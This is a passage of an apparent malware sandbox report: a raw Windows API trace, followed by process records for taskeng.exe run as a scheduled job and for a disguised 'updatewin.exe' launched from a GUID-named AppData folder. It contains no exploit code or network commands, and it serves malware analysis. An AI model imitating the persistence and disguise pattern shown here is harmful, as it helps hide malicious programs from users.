out: hHeap=0x570000) returned 1 [0057.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x319) returned 0x5a04a0 [0057.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a0280 | out: hHeap=0x570000) returned 1 [0057.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4a5) returned 0x5a07c8 [0057.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a04a0 | out: hHeap=0x570000) returned 1 [0057.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6f7) returned 0x5a0c78 [0057.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a07c8 | out: hHeap=0x570000) returned 1 [0057.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa72) returned 0x5a0110 [0057.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a0c78 | out: hHeap=0x570000) returned 1 [0057.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfaa) returned 0x5a2e00 [0057.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a0110 | out: hHeap=0x570000) returned 1 [0057.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17a1) returned 0x5a6bd0 [0057.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2e00 | out: hHeap=0x570000) returned 1 [0057.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x235f) returned 0x5a8380 [0057.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a6bd0 | out: hHeap=0x570000) returned 1 [0057.046] WriteFile (in: hFile=0xa0, lpBuffer=0x5a83a0*, nNumberOfBytesToWrite=0x1c76, lpNumberOfBytesWritten=0x18ed70, lpOverlapped=0x0 | out: lpBuffer=0x5a83a0*, lpNumberOfBytesWritten=0x18ed70*=0x1c76, lpOverlapped=0x0) returned 1 [0057.047] CloseHandle (hObject=0xa0) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8380 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59c118 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59c140 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59c168 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59c190 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59c1b8 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59c1e0 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59c208 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59c230 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59c258 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59c280 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59c2a8 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59c2d0 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59c2f8 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59c320 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59c348 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59c370 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59c398 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59c3c0 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59c3e8 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59c410 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59c438 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1618 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1640 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1668 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1690 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a16b8 | out: hHeap=0x570000) returned 1 [0057.050] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a16e0 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1708 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1730 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1758 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1780 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a17a8 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a17d0 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a17f8 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1820 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1848 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1870 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1898 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a18c0 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a18e8 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1910 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1938 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1960 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1988 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a19b0 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a19d8 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1a00 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1a28 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1a50 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1a78 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1aa0 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1ac8 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1af0 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1b18 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1b40 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1b68 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1b90 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1bb8 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1be0 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1c08 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1c30 | out: hHeap=0x570000) returned 1 [0057.051] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1c58 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1c80 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1ca8 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1cd0 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1cf8 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1d20 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1d48 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1d70 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1d98 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1dc0 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1e18 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1e40 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1e68 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1e90 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1eb8 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1ee0 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1f08 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1f30 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1f58 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1f80 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1fa8 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1fd0 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1ff8 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2020 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2048 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2070 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2098 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a20c0 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a20e8 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x585490 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2110 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2138 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2160 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2188 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a21b0 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a21d8 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2200 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2228 | out: hHeap=0x570000) returned 1 [0057.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2250 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2278 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a22a0 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a22c8 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a22f0 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2318 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2340 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2368 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2390 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a23b8 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a23e0 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2408 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2430 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2458 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2480 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a24a8 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a24d0 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a24f8 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2520 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2548 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2570 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2598 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a25c0 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2618 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2640 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2668 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2690 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a26b8 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a26e0 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2708 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2730 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2758 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2780 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a27a8 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a27d0 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a27f8 | out: hHeap=0x570000) returned 1 [0057.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2820 | out: hHeap=0x570000) returned 1 [0057.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2848 | out: hHeap=0x570000) returned 1 [0057.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2870 | out: hHeap=0x570000) returned 1 [0057.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2898 | out: hHeap=0x570000) returned 1 [0057.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a28c0 | out: hHeap=0x570000) returned 1 [0057.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a28e8 | out: hHeap=0x570000) returned 1 [0057.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2910 | out: hHeap=0x570000) returned 1 [0057.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2938 | out: hHeap=0x570000) returned 1 [0057.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2960 | out: hHeap=0x570000) returned 1 [0057.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2988 | out: hHeap=0x570000) returned 1 [0057.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a29b0 | out: hHeap=0x570000) returned 1 [0057.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a29d8 | out: hHeap=0x570000) returned 1 [0057.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2a00 | out: hHeap=0x570000) returned 1 [0057.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2a28 | out: hHeap=0x570000) returned 1 [0057.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2a50 | out: hHeap=0x570000) returned 1 [0057.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2a78 | out: hHeap=0x570000) returned 1 [0057.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2aa0 | out: hHeap=0x570000) returned 1 [0057.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4e00 | out: hHeap=0x570000) returned 1 [0057.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59eaf8 | out: hHeap=0x570000) returned 1 [0057.054] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0057.054] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0057.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59a3e8 | out: hHeap=0x570000) returned 1 [0057.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59cdc8 | out: hHeap=0x570000) returned 1 [0057.055] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-2", hFile=0x0, dwFlags=0x800) returned 0x0 [0057.055] GetLastError () returned 0x57 [0057.055] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18f584 | out: phModule=0x18f584) returned 0 [0057.055] ExitProcess (uExitCode=0x0) [0057.055] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59ad00 | out: hHeap=0x570000) returned 1 [0057.055] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Process: id = "10" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x138dd000" os_pid = "0x8f8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "created_scheduled_job" parent_id = "5" os_parent_pid = "0x80c" cmd_line = "taskeng.exe {4AA344D6-BF85-44B2-8540-3850C522B854} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:LUA[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 63 os_tid = 0x8fc Thread: id = 65 os_tid = 0x908 Thread: id = 66 os_tid = 0x90c Thread: id = 67 os_tid = 0x910 Thread: id = 68 os_tid = 0x914 Thread: id = 69 os_tid = 0x918 Thread: id = 70 os_tid = 0x91c Process: id = "11" image_name = "updatewin.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin.exe" page_root = "0x11de3000" os_pid = "0x900" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x80c" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 64 os_tid = 0x904 [0060.137] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xb62ccbd0, dwHighDateTime=0x1d55a45)) [0060.137] GetCurrentProcessId () returned 0x900 [0060.137] GetCurrentThreadId () returned 0x904 [0060.137] GetTickCount () returned 0x11486ad [0060.137] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=18043811759) returned 1 [0060.157] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0060.157] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1e10000 [0060.158] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0060.158] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0060.158] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0060.158] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0060.158] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0060.158] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0060.159] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0060.159] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0060.159] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0060.159] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0060.159] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0060.159] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0060.159] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0060.159] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0060.159] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0060.159] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0060.159] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0060.160] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0060.163] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0060.164] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0060.164] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0060.164] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x214) returned 0x1e107d0 [0060.164] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0060.164] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0060.164] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0060.164] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0060.164] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0060.164] GetCurrentThreadId () returned 0x904 [0060.164] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, 